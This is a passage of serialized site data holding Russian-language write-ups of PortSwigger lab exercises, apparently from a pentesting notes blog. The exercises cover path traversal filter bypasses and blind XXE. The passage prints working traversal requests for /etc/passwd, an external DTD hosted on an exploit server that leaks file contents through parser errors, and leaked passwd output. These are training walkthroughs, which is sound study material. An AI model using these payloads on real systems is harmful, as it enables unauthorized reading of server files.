9576],{"className":302,"code":303,"language":304,"meta":50,"style":50},[48,9577,9578],{"__ignoreMap":50},[308,9579,9580],{"class":310,"line":311},[308,9581,303],{},[21,9583,419],{},[21,9585,422,9586,426],{},[48,9587,425],{},[41,9589,9591],{"className":9590,"code":430,"language":46},[44],[48,9592,430],{"__ignoreMap":50},[21,9594,96],{},[357,9596,359],{},{"title":50,"searchDepth":98,"depth":98,"links":9598},[9599,9600],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":9601},[9602,9603],{"id":38,"depth":104,"text":39},{"id":53,"depth":104,"text":54},{},{"title":378,"description":444},[117,118,119,121],{"id":452,"title":453,"author":6,"body":9608,"date":106,"description":540,"difficulty":108,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":9678,"navigation":112,"notes":110,"path":542,"psTitle":468,"seo":9679,"stem":544,"tags":9680,"timeSpent":122,"type":123,"__hash__":546},{"type":8,"value":9609,"toc":9671},[9610,9612,9614,9619,9621,9623,9628,9630,9634,9636,9644,9646,9651,9655,9657,9662,9667,9669],[11,9611,459],{"id":458},[16,9613,19],{"id":18},[21,9615,9616,30],{},[24,9617,468],{"href":466,"rel":9618},[28],[16,9620,34],{"id":33},[36,9622,39],{"id":38},[41,9624,9626],{"className":9625,"code":476,"language":46},[44],[48,9627,476],{"__ignoreMap":50},[36,9629,54],{"id":53},[21,9631,483,9632,487],{},[48,9633,486],{},[21,9635,490],{},[41,9637,9638],{"className":302,"code":303,"language":304,"meta":50,"style":50},[48,9639,9640],{"__ignoreMap":50},[308,9641,9642],{"class":310,"line":311},[308,9643,303],{},[21,9645,501],{},[41,9647,9649],{"className":9648,"code":505,"language":46},[44],[48,9650,505],{"__ignoreMap":50},[21,9652,510,9653,426],{},[48,9654,513],{},[21,9656,516],{},[41,9658,9660],{"className":9659,"code":520,"language":46},[44],[48,9661,520],{"__ignoreMap":50},[41,9663,9665],{"className":9664,"code":526,"language":46},[44],[48,9666,526],{"__ignoreMap":50},[21,9668,96],{},[357,9670,359],{},{"title":50,"searchDepth":98,"depth":98,"links":9672},[9673,9674],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":9675},[9676,9677],{"id":38,"depth":104,"text":39},{"id":53,"depth":104,"text":54},{},{"title":453,"description":540},[117,118,119,121],{"id":4,"title":5,"author":6,"body":9682,"date":106,"description":107,"difficulty":108,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":9743,"navigation":112,"notes":110,"path":113,"psTitle":29,"seo":9744,"stem":115,"tags":9745,"timeSpent":122,"type":123,"__hash__":124},{"type":8,"value":9683,"toc":9736},[9684,9686,9688,9693,9695,9697,9702,9704,9706,9708,9710,9715,9717,9722,9727,9729,9734],[11,9685,14],{"id":13},[16,9687,19],{"id":18},[21,9689,9690,30],{},[24,9691,29],{"href":26,"rel":9692},[28],[16,9694,34],{"id":33},[36,9696,39],{"id":38},[41,9698,9700],{"className":9699,"code":45,"language":46},[44],[48,9701,45],{"__ignoreMap":50},[36,9703,54],{"id":53},[21,9705,57],{},[21,9707,60],{},[21,9709,63],{},[41,9711,9713],{"className":9712,"code":67,"language":46},[44],[48,9714,67],{"__ignoreMap":50},[21,9716,72],{},[41,9718,9720],{"className":9719,"code":76,"language":46},[44],[48,9721,76],{"__ignoreMap":50},[41,9723,9725],{"className":9724,"code":82,"language":46},[44],[48,9726,82],{"__ignoreMap":50},[21,9728,87],{},[41,9730,9732],{"className":9731,"code":91,"language":46},[44],[48,9733,91],{"__ignoreMap":50},[21,9735,96],{},{"title":50,"searchDepth":98,"depth":98,"links":9737},[9738,9739],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":9740},[9741,9742],{"id":38,"depth":104,"text":39},{"id":53,"depth":104,"text":54},{},{"title":5,"description":107},[117,118,119,120,121],{"id":9747,"title":9748,"author":6,"body":9749,"date":9829,"description":9830,"difficulty":108,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":9831,"navigation":112,"notes":110,"path":9832,"psTitle":9763,"seo":9833,"stem":9834,"tags":9835,"timeSpent":122,"type":123,"__hash__":9836},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Ffile-path-traversal-simple-case.md","File Path Traversal: простой случай (PortSwigger Lab)",{"type":8,"value":9750,"toc":9820},[9751,9755,9757,9764,9766,9768,9774,9778,9784,9786,9789,9795,9801,9808,9812,9818],[11,9752,9754],{"id":9753},"file-path-traversal-простой-случай","File Path Traversal: простой случай",[16,9756,19],{"id":18},[21,9758,9759,30],{},[24,9760,9763],{"href":9761,"rel":9762},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Ffile-path-traversal\u002Flab-simple",[28],"File path traversal, simple case",[16,9765,34],{"id":33},[36,9767,39],{"id":38},[41,9769,9772],{"className":9770,"code":9771,"language":46},[44],"This lab contains a path traversal vulnerability in the display of product images.\nTo solve the lab, retrieve the contents of the \u002Fetc\u002Fpasswd file.\n",[48,9773,9771],{"__ignoreMap":50},[36,9775,9777],{"id":9776},"анализ","Анализ",[21,9779,9780,9781,9783],{},"Где-то на сайте есть уязвимость path traversal при отображении изображений товаров. Нужно прочитать файл ",[48,9782,8550],{},", используя данную уязвимость.",[36,9785,683],{"id":682},[21,9787,9788],{},"Смотрим сайт, обращая внимание на запросы загрузки изображения. Настроим фильтр, чтобы отображать такие запросы. Видим запрос:",[41,9790,9793],{"className":9791,"code":9792,"language":46},[44],"GET \u002Fimage?filename=60.jpg\n",[48,9794,9792],{"__ignoreMap":50},[21,9796,9797,9798,426],{},"Закинем в Repeater и попробуем использовать ",[48,9799,9800],{},"path traversal",[21,9802,9803,9804,9807],{},"Закинем первую — ",[48,9805,9806],{},"..\u002F..\u002Fetc\u002Fpasswd"," — \"No such file\".",[36,9809,9811],{"id":9810},"финальная-нагрузка","Финальная нагрузка",[41,9813,9816],{"className":9814,"code":9815,"language":46},[44],"GET \u002Fimage?filename=..\u002F..\u002F..\u002Fetc\u002Fpasswd HTTP\u002F2\n",[48,9817,9815],{"__ignoreMap":50},[21,9819,96],{},{"title":50,"searchDepth":98,"depth":98,"links":9821},[9822,9823],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":9824},[9825,9826,9827,9828],{"id":38,"depth":104,"text":39},{"id":9776,"depth":104,"text":9777},{"id":682,"depth":104,"text":683},{"id":9810,"depth":104,"text":9811},"2026-06-02","Параметр filename у роута картинок товара уязвим к path traversal — три уровня `..\u002F` доводят до \u002Fetc\u002Fpasswd.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Ffile-path-traversal-simple-case",{"title":9748,"description":9830},"notes\u002Fpentesting\u002Fportswigger\u002Ffile-path-traversal-simple-case",[117,120,121],"zPn-PbRGhtQcgHApGL04oI3WC4FjPKR2weUIbqhN530",{"id":9838,"title":9839,"author":6,"body":9840,"date":9829,"description":9888,"difficulty":108,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":9889,"navigation":112,"notes":110,"path":9890,"psTitle":9854,"seo":9891,"stem":9892,"tags":9893,"timeSpent":9894,"type":123,"__hash__":9895},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Ffile-path-traversal-traversal-sequences-blocked-with-absolute-path-bypass.md","File Path Traversal: обход блокировки traversal через абсолютный путь (PortSwigger Lab)",{"type":8,"value":9841,"toc":9880},[9842,9846,9848,9855,9857,9859,9865,9867,9870,9874],[11,9843,9845],{"id":9844},"file-path-traversal-обход-блокировки-traversal-через-абсолютный-путь","File Path Traversal: обход блокировки traversal через абсолютный путь",[16,9847,19],{"id":18},[21,9849,9850,30],{},[24,9851,9854],{"href":9852,"rel":9853},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Ffile-path-traversal\u002Flab-absolute-path-bypass",[28],"File path traversal, traversal sequences blocked with absolute path bypass",[16,9856,34],{"id":33},[36,9858,39],{"id":38},[41,9860,9863],{"className":9861,"code":9862,"language":46},[44],"This lab contains a path traversal vulnerability in the display of product images.\n\nThe application blocks traversal sequences but treats the supplied filename as being relative to a default working directory.\n\nTo solve the lab, retrieve the contents of the \u002Fetc\u002Fpasswd file.\n",[48,9864,9862],{"__ignoreMap":50},[36,9866,9777],{"id":9776},[21,9868,9869],{},"Всё аналогично предыдущей, только на этот раз в качестве обхода нужно использовать абсолютные пути.",[36,9871,9873],{"id":9872},"разведка-итоговая-нагрузка","Разведка. Итоговая нагрузка",[41,9875,9878],{"className":9876,"code":9877,"language":46},[44],"GET \u002Fimage?filename=\u002Fetc\u002Fpasswd\n",[48,9879,9877],{"__ignoreMap":50},{"title":50,"searchDepth":98,"depth":98,"links":9881},[9882,9883],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":9884},[9885,9886,9887],{"id":38,"depth":104,"text":39},{"id":9776,"depth":104,"text":9777},{"id":9872,"depth":104,"text":9873},"Приложение режет последовательности `..\u002F`, но принимает абсолютный путь — `\u002Fetc\u002Fpasswd` отдаётся без обхода.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Ffile-path-traversal-traversal-sequences-blocked-with-absolute-path-bypass",{"title":9839,"description":9888},"notes\u002Fpentesting\u002Fportswigger\u002Ffile-path-traversal-traversal-sequences-blocked-with-absolute-path-bypass",[117,120,121],"15m","TvjxQMzEUmFuKp9PwPgoq_kzvDfG7vWLSikD0MrSHT0",{"id":9897,"title":9898,"author":6,"body":9899,"date":9829,"description":9951,"difficulty":108,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":9952,"navigation":112,"notes":110,"path":9953,"psTitle":9913,"seo":9954,"stem":9955,"tags":9956,"timeSpent":122,"type":123,"__hash__":9957},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Ffile-path-traversal-traversal-sequences-stripped-non-recursively.md","File Path Traversal: нерекурсивная вырезка traversal-последовательностей (PortSwigger Lab)",{"type":8,"value":9900,"toc":9943},[9901,9905,9907,9914,9916,9918,9924,9926,9933,9937],[11,9902,9904],{"id":9903},"file-path-traversal-нерекурсивная-вырезка-traversal-последовательностей","File Path Traversal: нерекурсивная вырезка traversal-последовательностей",[16,9906,19],{"id":18},[21,9908,9909,30],{},[24,9910,9913],{"href":9911,"rel":9912},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Ffile-path-traversal\u002Flab-sequences-stripped-non-recursively",[28],"File path traversal, traversal sequences stripped non-recursively",[16,9915,34],{"id":33},[36,9917,39],{"id":38},[41,9919,9922],{"className":9920,"code":9921,"language":46},[44],"This lab contains a path traversal vulnerability in the display of product images.\n\nThe application strips path traversal sequences from the user-supplied filename before using it.\n\nTo solve the lab, retrieve the contents of the \u002Fetc\u002Fpasswd file.\n",[48,9923,9921],{"__ignoreMap":50},[36,9925,54],{"id":53},[21,9927,9928,9929,9932],{},"Всё аналогично предыдущей, только на этот раз приложение убирает ",[48,9930,9931],{},"..\u002F",", но не делает это рекурсивно.",[36,9934,9936],{"id":9935},"итоговая-нагрузка","Итоговая нагрузка",[41,9938,9941],{"className":9939,"code":9940,"language":46},[44],"GET \u002Fimage?filename=....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd\n",[48,9942,9940],{"__ignoreMap":50},{"title":50,"searchDepth":98,"depth":98,"links":9944},[9945,9946],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":9947},[9948,9949,9950],{"id":38,"depth":104,"text":39},{"id":53,"depth":104,"text":54},{"id":9935,"depth":104,"text":9936},"Приложение режет `..\u002F`, но без рекурсии — `....\u002F\u002F` после прохода фильтра снова превращается в `..\u002F`.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Ffile-path-traversal-traversal-sequences-stripped-non-recursively",{"title":9898,"description":9951},"notes\u002Fpentesting\u002Fportswigger\u002Ffile-path-traversal-traversal-sequences-stripped-non-recursively",[117,120,121],"BrZuWftqWoWIOeeEd_zku3Jq0yKS7ZTIMxGEIDzCFfg",{"id":9959,"title":9960,"author":6,"body":9961,"date":9829,"description":10029,"difficulty":257,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":10030,"navigation":112,"notes":110,"path":10031,"psTitle":9975,"seo":10032,"stem":10033,"tags":10034,"timeSpent":122,"type":123,"__hash__":10035},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Ffile-path-traversal-traversal-sequences-stripped-with-superfluous-url-decode.md","File Path Traversal: обход вырезки traversal через двойное URL-кодирование (PortSwigger Lab)",{"type":8,"value":9962,"toc":10021},[9963,9967,9969,9976,9978,9980,9986,9988,10004,10010,10013,10015],[11,9964,9966],{"id":9965},"file-path-traversal-обход-вырезки-traversal-через-двойное-url-кодирование","File Path Traversal: обход вырезки traversal через двойное URL-кодирование",[16,9968,19],{"id":18},[21,9970,9971,144],{},[24,9972,9975],{"href":9973,"rel":9974},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Ffile-path-traversal\u002Flab-superfluous-url-decode",[28],"File path traversal, traversal sequences stripped with superfluous URL-decode",[16,9977,34],{"id":33},[36,9979,39],{"id":38},[41,9981,9984],{"className":9982,"code":9983,"language":46},[44],"This lab contains a path traversal vulnerability in the display of product images.\n\nThe application blocks input containing path traversal sequences. It then performs a URL-decode of the input before using it.\n\nTo solve the lab, retrieve the contents of the \u002Fetc\u002Fpasswd file.\n",[48,9985,9983],{"__ignoreMap":50},[36,9987,54],{"id":53},[21,9989,9990,9991,3226,9993,9996,9997,2683,9999,2683,10001,426],{},"Всё как и в предыдущей лабе, только на этот раз нужно использовать технику URL-кодирования и попробовать заменить ",[48,9992,9931],{},[48,9994,9995],{},"%2e%2e%2f",". Или даже двойного кодирования: ",[48,9998,9931],{},[48,10000,9995],{},[48,10002,10003],{},"%252e%252e%252f",[21,10005,10006,10007,10009],{},"Попробуем нагрузку с ",[48,10008,9995],{}," — не прошло.",[21,10011,10012],{},"Тогда двойное кодирование — прошло.",[36,10014,9936],{"id":9935},[41,10016,10019],{"className":10017,"code":10018,"language":46},[44],"GET \u002Fimage?filename=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc\u002Fpasswd\n",[48,10020,10018],{"__ignoreMap":50},{"title":50,"searchDepth":98,"depth":98,"links":10022},[10023,10024],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":10025},[10026,10027,10028],{"id":38,"depth":104,"text":39},{"id":53,"depth":104,"text":54},{"id":9935,"depth":104,"text":9936},"Одинарное `%2e%2e%2f` не прошло — фильтр пропускает только двойное кодирование `%252e%252e%252f`.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Ffile-path-traversal-traversal-sequences-stripped-with-superfluous-url-decode",{"title":9960,"description":10029},"notes\u002Fpentesting\u002Fportswigger\u002Ffile-path-traversal-traversal-sequences-stripped-with-superfluous-url-decode",[117,120,121],"YR-c_amAtgZ7yQBR7w45gYiawZkC-HE697eHGz8vFFM",{"id":10037,"title":10038,"author":6,"body":10039,"date":9829,"description":10096,"difficulty":257,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":10097,"navigation":112,"notes":110,"path":10098,"psTitle":10053,"seo":10099,"stem":10100,"tags":10101,"timeSpent":122,"type":123,"__hash__":10102},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Ffile-path-traversal-validation-of-file-extension-with-null-byte-bypass.md","File Path Traversal: обход проверки расширения через null-байт (PortSwigger Lab)",{"type":8,"value":10040,"toc":10088},[10041,10045,10047,10054,10056,10058,10064,10066,10072,10074,10080,10086],[11,10042,10044],{"id":10043},"file-path-traversal-обход-проверки-расширения-через-null-байт","File Path Traversal: обход проверки расширения через null-байт",[16,10046,19],{"id":18},[21,10048,10049,144],{},[24,10050,10053],{"href":10051,"rel":10052},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Ffile-path-traversal\u002Flab-validate-file-extension-null-byte-bypass",[28],"File path traversal, validation of file extension with null byte bypass",[16,10055,34],{"id":33},[36,10057,39],{"id":38},[41,10059,10062],{"className":10060,"code":10061,"language":46},[44],"This lab contains a path traversal vulnerability in the display of product images.\n\nThe application validates that the supplied filename ends with the expected file extension.\n\nTo solve the lab, retrieve the contents of the \u002Fetc\u002Fpasswd file.\n",[48,10063,10061],{"__ignoreMap":50},[36,10065,54],{"id":53},[21,10067,10068,10069,426],{},"Как и в предыдущей лабе, только здесь реализована проверка расширения файла, поэтому можно использовать технику передачи «нулевого байта» — ",[48,10070,10071],{},"%00",[36,10073,9936],{"id":9935},[41,10075,10078],{"className":10076,"code":10077,"language":46},[44],"GET \u002Fimage?filename=\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd%00.png\n",[48,10079,10077],{"__ignoreMap":50},[21,10081,10082,10083,10085],{},"Перешли в корень, и далее нулевым байтом остановили чтение. В итоге читаем файл ",[48,10084,8550],{},", а фильтр обойден.",[21,10087,96],{},{"title":50,"searchDepth":98,"depth":98,"links":10089},[10090,10091],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":10092},[10093,10094,10095],{"id":38,"depth":104,"text":39},{"id":53,"depth":104,"text":54},{"id":9935,"depth":104,"text":9936},"Фильтр требует ожидаемое расширение — null-байт `%00` обрывает чтение и `\u002Fetc\u002Fpasswd%00.png` отдаёт нужный файл.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Ffile-path-traversal-validation-of-file-extension-with-null-byte-bypass",{"title":10038,"description":10096},"notes\u002Fpentesting\u002Fportswigger\u002Ffile-path-traversal-validation-of-file-extension-with-null-byte-bypass",[117,120,121],"Dw7RTKH6XcKBme9NyxOXYY8GCxvGClxSz29cZuOjieA",{"id":10104,"title":10105,"author":6,"body":10106,"date":9829,"description":10166,"difficulty":257,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":10167,"navigation":112,"notes":110,"path":10168,"psTitle":10120,"seo":10169,"stem":10170,"tags":10171,"timeSpent":122,"type":123,"__hash__":10172},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Ffile-path-traversal-validation-of-start-of-path.md","File Path Traversal: валидация только начала пути (PortSwigger Lab)",{"type":8,"value":10107,"toc":10159},[10108,10112,10114,10121,10123,10125,10131,10133,10136,10139,10145,10148,10154,10157],[11,10109,10111],{"id":10110},"file-path-traversal-валидация-только-начала-пути","File Path Traversal: валидация только начала пути",[16,10113,19],{"id":18},[21,10115,10116,144],{},[24,10117,10120],{"href":10118,"rel":10119},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Ffile-path-traversal\u002Flab-validate-start-of-path",[28],"File path traversal, validation of start of path",[16,10122,34],{"id":33},[36,10124,39],{"id":38},[41,10126,10129],{"className":10127,"code":10128,"language":46},[44],"This lab contains a path traversal vulnerability in the display of product images.\n\nThe application transmits the full file path via a request parameter, and validates that the supplied path starts with the expected folder.\n\nTo solve the lab, retrieve the contents of the \u002Fetc\u002Fpasswd file.\n",[48,10130,10128],{"__ignoreMap":50},[36,10132,54],{"id":53},[21,10134,10135],{},"Всё аналогично предыдущей лабе, только на этот раз сервер валидирует входную строку. Проверяет, что она начинается с ожидаемой директории. Попробуем подобрать нагрузку для такого случая.",[21,10137,10138],{},"Запрос:",[41,10140,10143],{"className":10141,"code":10142,"language":46},[44],"GET \u002Fimage?filename=\u002Fvar\u002Fwww\u002Fimages\u002F45.jpg\n",[48,10144,10142],{"__ignoreMap":50},[21,10146,10147],{},"Ок, тогда думаю так должно сработать:",[41,10149,10152],{"className":10150,"code":10151,"language":46},[44],"GET \u002Fimage?filename=\u002Fvar\u002Fwww\u002Fimages\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\n",[48,10153,10151],{"__ignoreMap":50},[21,10155,10156],{},"Верно.",[21,10158,96],{},{"title":50,"searchDepth":98,"depth":98,"links":10160},[10161,10162],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":10163},[10164,10165],{"id":38,"depth":104,"text":39},{"id":53,"depth":104,"text":54},"Сервер проверяет, что путь начинается с ожидаемой директории — `\u002Fvar\u002Fwww\u002Fimages\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd` прошёл проверку.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Ffile-path-traversal-validation-of-start-of-path",{"title":10105,"description":10166},"notes\u002Fpentesting\u002Fportswigger\u002Ffile-path-traversal-validation-of-start-of-path",[117,120,121],"AEPBfuHiAkdPUloJVhkRvdqf8w1Pzw8wp9VjL24UcpQ",{"id":10174,"title":10175,"author":6,"body":10176,"date":10284,"description":10285,"difficulty":257,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":10286,"navigation":112,"notes":110,"path":10287,"psTitle":10190,"seo":10288,"stem":10289,"tags":10290,"timeSpent":10291,"type":123,"__hash__":10292},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fexploiting-blind-xxe-to-retrieve-data-via-error-messages.md","Blind XXE: получение данных через сообщения об ошибках (PortSwigger Lab)",{"type":8,"value":10177,"toc":10276},[10178,10182,10184,10191,10193,10195,10201,10203,10209,10213,10216,10219,10234,10240,10263,10266,10272,10274],[11,10179,10181],{"id":10180},"blind-xxe-получение-данных-через-сообщения-об-ошибках","Blind XXE: получение данных через сообщения об ошибках",[16,10183,19],{"id":18},[21,10185,10186,144],{},[24,10187,10190],{"href":10188,"rel":10189},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fxxe\u002Fblind\u002Flab-xxe-with-data-retrieval-via-error-messages",[28],"Exploiting blind XXE to retrieve data via error messages",[16,10192,34],{"id":33},[36,10194,39],{"id":38},[41,10196,10199],{"className":10197,"code":10198,"language":46},[44],"This lab has a \"Check stock\" feature that parses XML input but does not display the result.\n\nTo solve the lab, use an external DTD to trigger an error message that displays the contents of the \u002Fetc\u002Fpasswd file.\n\nThe lab contains a link to an exploit server on a different domain where you can host your malicious DTD.\n",[48,10200,10198],{"__ignoreMap":50},[36,10202,9777],{"id":9776},[21,10204,10205,10206,10208],{},"Роут для проверки остатков товара принимает XML. Нам нужно разместить на эксплоит-сервере DTD с нагрузкой, которая умышленно вызывает ошибку при открытии файла. В имя файла дополнительно конкатенируется содержимое ",[48,10207,8550],{}," — в результате сервер выведет ошибку с этим именем файла, в котором и будет нужное нам содержимое.",[36,10210,10212],{"id":10211},"атака","Атака",[21,10214,10215],{},"Тут всё не сложно, после предыдущей лабы.",[21,10217,10218],{},"Нагрузка для роута — чтобы заставить обработать наш внешний DTD:",[41,10220,10222],{"className":3129,"code":10221,"language":3131,"meta":50,"style":50},"\u003C!DOCTYPE foo [\u003C!ENTITY % xxe SYSTEM\n\"https:\u002F\u002Fexploit-0ab1001a03e21303800ef7ff01a5002d.exploit-server.net\u002Fexploit.dtd\"> %xxe;]>\n",[48,10223,10224,10229],{"__ignoreMap":50},[308,10225,10226],{"class":310,"line":311},[308,10227,10228],{},"\u003C!DOCTYPE foo [\u003C!ENTITY % xxe SYSTEM\n",[308,10230,10231],{"class":310,"line":98},[308,10232,10233],{},"\"https:\u002F\u002Fexploit-0ab1001a03e21303800ef7ff01a5002d.exploit-server.net\u002Fexploit.dtd\"> %xxe;]>\n",[21,10235,10236,10237,10239],{},"На эксплоит-сервере настроим ",[48,10238,486],{}," и добавим такой код:",[41,10241,10243],{"className":3129,"code":10242,"language":3131,"meta":50,"style":50},"\u003C!ENTITY % file SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n\u003C!ENTITY % eval \"\u003C!ENTITY &#x25; error SYSTEM 'file:\u002F\u002F\u002Fnonexistent\u002F%file;'>\">\n%eval;\n%error;\n",[48,10244,10245,10249,10254,10258],{"__ignoreMap":50},[308,10246,10247],{"class":310,"line":311},[308,10248,6563],{},[308,10250,10251],{"class":310,"line":98},[308,10252,10253],{},"\u003C!ENTITY % eval \"\u003C!ENTITY &#x25; error SYSTEM 'file:\u002F\u002F\u002Fnonexistent\u002F%file;'>\">\n",[308,10255,10256],{"class":310,"line":104},[308,10257,6573],{},[308,10259,10260],{"class":310,"line":1327},[308,10261,10262],{},"%error;\n",[21,10264,10265],{},"Отправим запрос:",[41,10267,10270],{"className":10268,"code":10269,"language":46},[44],"\"XML parser exited with error: java.io.FileNotFoundException: \u002Fnonexistent\u002Froot:x:0:0:root:\u002Froot:\u002Fbin\u002Fbash\ndaemon:x:1:1:daemon:\u002Fusr\u002Fsbin:\u002Fusr\u002Fsbin\u002Fnologin\nbin:x:2:2:bin:\u002Fbin:\u002Fusr\u002Fsbin\u002Fnologin\nsys:x:3:3:sys:\u002Fdev:\u002Fusr\u002Fsbin\u002Fnologin\nsync:x:4:65534:sync:\u002Fbin:\u002Fbin\u002Fsync\ngames:x:5:60:games:\u002Fusr\u002Fgames:\u002Fusr\u002Fsbin\u002Fnologin\nman:x:6:12:man:\u002Fvar\u002Fcache\u002Fman:\u002Fusr\u002Fsbin\u002Fnologin\nlp:x:7:7:lp:\u002Fvar\u002Fspool\u002Flpd:\u002Fusr\u002Fsbin\u002Fnologin\nmail:x:8:8:mail:\u002Fvar\u002Fmail:\u002Fusr\u002Fsbin\u002Fnologin\nnews:x:9:9:news:\u002Fvar\u002Fspool\u002Fnews:\u002Fusr\u002Fsbin\u002Fnologin\nuucp:x:10:10:uucp:\u002Fvar\u002Fspool\u002Fuucp:\u002Fusr\u002Fsbin\u002Fnologin\nproxy:x:13:13:proxy:\u002Fbin:\u002Fusr\u002Fsbin\u002Fnologin\n",[48,10271,10269],{"__ignoreMap":50},[21,10273,96],{},[357,10275,359],{},{"title":50,"searchDepth":98,"depth":98,"links":10277},[10278,10279],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":10280},[10281,10282,10283],{"id":38,"depth":104,"text":39},{"id":9776,"depth":104,"text":9777},{"id":10211,"depth":104,"text":10212},"2026-06-01","External DTD на exploit-сервере подсовывает содержимое \u002Fetc\u002Fpasswd в имя несуществующего файла — XML-парсер вываливает его в сообщение об ошибке.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fexploiting-blind-xxe-to-retrieve-data-via-error-messages",{"title":10175,"description":10285},"notes\u002Fpentesting\u002Fportswigger\u002Fexploiting-blind-xxe-to-retrieve-data-via-error-messages",[117,8896,121],"30m","GfG-XGwrcAh3tVX8BCNFZZkK7wnSEZl93HmwcRcHrU8",{"id":10294,"title":10295,"author":6,"body":10296,"date":10412,"description":10413,"difficulty":257,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":10414,"navigation":112,"notes":110,"path":10415,"psTitle":10310,"seo":10416,"stem":10417,"tags":10418,"timeSpent":10291,"type":123,"__hash__":10419},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fblind-xxe-with-out-of-band-interaction-via-xml-parameter-entities.md","Blind XXE через OOB и XML parameter entities (PortSwigger Lab)",{"type":8,"value":10297,"toc":10403},[10298,10302,10304,10311,10313,10315,10321,10325,10328,10330,10333,10348,10351,10370,10376,10378,10381,10399,10401],[11,10299,10301],{"id":10300},"blind-xxe-через-oob-и-xml-parameter-entities","Blind XXE через OOB и XML parameter entities",[16,10303,19],{"id":18},[21,10305,10306,144],{},[24,10307,10310],{"href":10308,"rel":10309},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fxxe\u002Fblind\u002Flab-xxe-with-out-of-band-interaction-using-parameter-entities",[28],"Blind XXE with out-of-band interaction via XML parameter entities",[16,10312,34],{"id":33},[36,10314,39],{"id":38},[41,10316,10319],{"className":10317,"code":10318,"language":46},[44],"This lab has a \"Check stock\" feature that parses XML input, but does not display any unexpected values, and blocks requests containing regular external entities.\n\nTo solve the lab, use a parameter entity to make the XML parser issue a DNS lookup and HTTP request to Burp Collaborator.\n",[48,10320,10318],{"__ignoreMap":50},[36,10322,10324],{"id":10323},"анализ-задания","Анализ задания",[21,10326,10327],{},"Нужно использовать parameter entity, чтобы заставить XML-парсер отправить запрос на наш сервер Burp Collaborator.",[36,10329,683],{"id":682},[21,10331,10332],{},"Находим роут. В теле:",[41,10334,10336],{"className":3129,"code":10335,"language":3131,"meta":50,"style":50},"\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003CstockCheck>\u003CproductId>5\u003C\u002FproductId>\u003CstoreId>1\u003C\u002FstoreId>\u003C\u002FstockCheck>\n",[48,10337,10338,10343],{"__ignoreMap":50},[308,10339,10340],{"class":310,"line":311},[308,10341,10342],{},"\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n",[308,10344,10345],{"class":310,"line":98},[308,10346,10347],{},"\u003CstockCheck>\u003CproductId>5\u003C\u002FproductId>\u003CstoreId>1\u003C\u002FstoreId>\u003C\u002FstockCheck>\n",[21,10349,10350],{},"Ради интереса попробуем вставить сперва general external entity:",[41,10352,10354],{"className":3129,"code":10353,"language":3131,"meta":50,"style":50},"\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE stockCheck [\u003C!ENTITY test SYSTEM 'file:\u002F\u002F\u002Fetc\u002Fpasswd'>]>\n\u003CstockCheck>\u003CproductId>5&test;\u003C\u002FproductId>\u003CstoreId>1\u003C\u002FstoreId>\u003C\u002FstockCheck>\n",[48,10355,10356,10360,10365],{"__ignoreMap":50},[308,10357,10358],{"class":310,"line":311},[308,10359,10342],{},[308,10361,10362],{"class":310,"line":98},[308,10363,10364],{},"\u003C!DOCTYPE stockCheck [\u003C!ENTITY test SYSTEM 